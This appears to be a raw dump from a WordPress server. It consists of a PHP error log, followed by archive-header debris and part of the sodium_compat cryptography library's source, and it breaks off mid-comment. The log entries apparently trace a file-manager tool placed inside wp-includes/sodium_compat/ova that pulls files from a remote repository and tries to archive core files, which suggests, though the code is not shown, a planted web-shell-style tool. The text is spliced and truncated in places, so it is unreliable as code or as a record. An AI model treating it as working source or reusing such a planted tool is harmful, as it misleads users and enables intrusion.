sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [02-Sep-2025 15:14:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:14:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:14:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:15:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:15:28 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [02-Sep-2025 15:15:30 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [02-Sep-2025 15:53:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:53:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 15:53:42 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/sodium_compat.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/lib/sodium_compat.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [02-Sep-2025 16:26:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 16:27:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 16:27:00 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/SodiumException.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/SodiumException.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [02-Sep-2025 22:16:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 22:16:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [02-Sep-2025 22:16:20 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [02-Sep-2025 22:16:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [02-Sep-2025 22:16:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [02-Sep-2025 22:16:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [02-Sep-2025 22:16:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [02-Sep-2025 22:16:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [03-Sep-2025 05:04:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 05:04:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [03-Sep-2025 05:04:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [03-Sep-2025 07:41:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 07:41:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-inclu[03-Sep-2025 18:19:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:20:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:22:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:22:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:49:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:50:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [03-Sep-2025 18:50:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 PK(L[Q1\\LICENSEnu[ISC License Copyright (c) 2016-2023, Paragon Initiative Enterprises Copyright (c) 2013-2019, Frank Denis Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. PK(L[k=src/PHP52/SplFixedArray.phpnu[ */ private $internalArray = array(); /** @var int $size */ private $size = 0; /** * SplFixedArray constructor. * @param int $size */ public function __construct($size = 0) { $this->size = $size; $this->internalArray = array(); } /** * @return int */ public function count() { return count($this->internalArray); } /** * @return array */ public function toArray() { ksort($this->internalArray); return (array) $this->internalArray; } /** * @param array $array * @param bool $save_indexes * @return SplFixedArray * @psalm-suppress MixedAssignment */ public static function fromArray(array $array, $save_indexes = true) { $self = new SplFixedArray(count($array)); if($save_indexes) { foreach($array as $key => $value) { $self[(int) $key] = $value; } } else { $i = 0; foreach (array_values($array) as $value) { $self[$i] = $value; $i++; } } return $self; } /** * @return int */ public function getSize() { return $this->size; } /** * @param int $size * @return bool */ public function setSize($size) { $this->size = $size; return true; } /** * @param string|int $index * @return bool */ public function offsetExists($index) { return array_key_exists((int) $index, $this->internalArray); } /** * @param string|int $index * @return mixed */ public function offsetGet($index) { /** @psalm-suppress MixedReturnStatement */ return $this->internalArray[(int) $index]; } /** * @param string|int $index * @param mixed $newval * @psalm-suppress MixedAssignment */ public function offsetSet($index, $newval) { $this->internalArray[(int) $index] = $newval; } /** * @param string|int $index */ public function offsetUnset($index) { unset($this->internalArray[(int) $index]); } /** * Rewind iterator back to the start * @link https://php.net/manual/en/splfixedarray.rewind.php * @return void * @since 5.3.0 */ public function rewind() { reset($this->internalArray); } /** * Return current array entry * @link https://php.net/manual/en/splfixedarray.current.php * @return mixed The current element value. * @since 5.3.0 */ public function current() { /** @psalm-suppress MixedReturnStatement */ return current($this->internalArray); } /** * Return current array index * @return int The current array index. */ public function key() { return key($this->internalArray); } /** * @return void */ public function next() { next($this->internalArray); } /** * Check whether the array contains more elements * @link https://php.net/manual/en/splfixedarray.valid.php * @return bool true if the array contains any more elements, false otherwise. */ public function valid() { if (empty($this->internalArray)) { return false; } $result = next($this->internalArray) !== false; prev($this->internalArray); return $result; } /** * Do nothing. */ public function __wakeup() { // NOP } }PK(L[ٷ;; src/File.phpnu[ ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes'); } } if ($outputLength < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) { throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN'); } if ($outputLength > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) { throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength); while ($size > 0) { $blockSize = $size > 64 ? 64 : $size; $read = fread($fp, $blockSize); if (!is_string($read)) { throw new SodiumException('Could not read input file'); } ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read); $size -= $blockSize; } fclose($fp); return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength); } /** * Encrypt a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces * the same result. * * @param string $inputFile Absolute path to a file on the filesystem * @param string $outputFile Absolute path to a file on the filesystem * @param string $nonce Number to be used only once * @param string $key Encryption key * * @return bool * @throws SodiumException * @throws TypeError */ public static function secretbox( $inputFile, $outputFile, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes'); } if (!is_string($key)) { throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.'); } if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key); fclose($ifp); fclose($ofp); return $res; } /** * Seal a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces * the same result. * * Warning: Does not protect against TOCTOU attacks. You should * just load the file into memory and use crypto_secretbox_open() if * you are worried about those. * * @param string $inputFile * @param string $outputFile * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function secretbox_open( $inputFile, $outputFile, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ if (!is_string($inputFile)) { throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.'); } if (!is_string($outputFile)) { throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.'); } if (!is_string($nonce)) { throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.'); } if (!is_string($key)) { throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.'); } /* Input validation: */ if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_NONCEBYTES bytes'); } if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) { throw new TypeError('Argument 4 must be CRYPTO_SECRETBOXBOX_KEYBYTES bytes'); } /** @var int $size */ $size = filesize($inputFile); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $ifp */ $ifp = fopen($inputFile, 'rb'); if (!is_resource($ifp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $ofp */ $ofp = fopen($outputFile, 'wb'); if (!is_resource($ofp)) { fclose($ifp); throw new SodiumException('Could not open output file for writing'); } $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key); fclose($ifp); fclose($ofp); try { ParagonIE_Sodium_Compat::memzero($key); } catch (SodiumException $ex) { /** @psalm-suppress PossiblyUndefinedVariable */ unset($key); } return $res; } /** * Sign a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces * the same result. * * @param string $filePath Absolute path to a file on the filesystem * @param string $secretKey Secret signing key * * @return string Ed25519 signature * @throws SodiumException * @throws TypeError */ public static function sign( $filePath, #[\SensitiveParameter] $secretKey ) { /* Type checks: */ if (!is_string($filePath)) { throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($secretKey)) { throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.'); } /* Input validation: */ if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) { throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes'); } if (PHP_INT_SIZE === 4) { return self::sign_core32($filePath, $secretKey); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var string $az */ $az = hash('sha512', self::substr($secretKey, 0, 32), true); $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $nonceHash */ $nonceHash = hash_final($hs, true); /** @var string $pk */ $pk = self::substr($secretKey, 32, 32); /** @var string $nonce */ $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32); /** @var string $sig */ $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes( ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce) ); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hramHash */ $hramHash = hash_final($hs, true); /** @var string $hram */ $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash); /** @var string $sigAfter */ $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce); /** @var string $sig */ $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } fclose($fp); return $sig; } /** * Verify a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but * produces the same result. * * @param string $sig Ed25519 signature * @param string $filePath Absolute path to a file on the filesystem * @param string $publicKey Signing public key * * @return bool * @throws SodiumException * @throws TypeError * @throws Exception */ public static function verify( $sig, $filePath, $publicKey ) { /* Type checks: */ if (!is_string($sig)) { throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.'); } if (!is_string($filePath)) { throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.'); } if (!is_string($publicKey)) { throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.'); } /* Input validation: */ if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) { throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes'); } if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes'); } if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if (PHP_INT_SIZE === 4) { return self::verify_core32($sig, $filePath, $publicKey); } /* Security checks */ if ( (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240) && ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32)) ) { throw new SodiumException('S < L - Invalid signature'); } if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($publicKey[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */ $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($publicKey, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hDigest */ $hDigest = hash_final($hs, true); /** @var string $h */ $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */ $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R); // Close the file handle fclose($fp); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $boxKeypair * @return bool * @throws SodiumException * @throws TypeError */ protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair) { if (PHP_INT_SIZE === 4) { return self::secretbox_encrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto32::box_beforenm( ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair) ) ); } return self::secretbox_encrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto::box_beforenm( ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto::box_publickey($boxKeypair) ) ); } /** * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $boxKeypair * @return bool * @throws SodiumException * @throws TypeError */ protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair) { if (PHP_INT_SIZE === 4) { return self::secretbox_decrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto32::box_beforenm( ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair) ) ); } return self::secretbox_decrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto::box_beforenm( ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto::box_publickey($boxKeypair) ) ); } /** * Encrypt a file * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key) { if (PHP_INT_SIZE === 4) { return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key); } $plaintext = fread($ifp, 32); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $first32 = self::ftell($ifp); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen0 = $mlen; if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor( $block0, $realNonce, $subkey ); $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES ) ); // Pre-write 16 blank bytes for the Poly1305 tag $start = self::ftell($ofp); fwrite($ofp, str_repeat("\x00", 16)); /** @var string $c */ $cBlock = ParagonIE_Sodium_Core_Util::substr( $block0, ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES ); $state->update($cBlock); fwrite($ofp, $cBlock); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ fseek($ifp, $first32, SEEK_SET); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $plaintext = fread($ifp, $blockSize); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( $plaintext, $realNonce, $iter, $subkey ); fwrite($ofp, $cBlock, $blockSize); $state->update($cBlock); $mlen -= $blockSize; $iter += $incr; } try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $end = self::ftell($ofp); /* * Write the Poly1305 authentication tag that provides integrity * over the ciphertext (encrypt-then-MAC) */ fseek($ofp, $start, SEEK_SET); fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES); fseek($ofp, $end, SEEK_SET); unset($state); return true; } /** * Decrypt a file * * @param resource $ifp * @param resource $ofp * @param int $mlen * 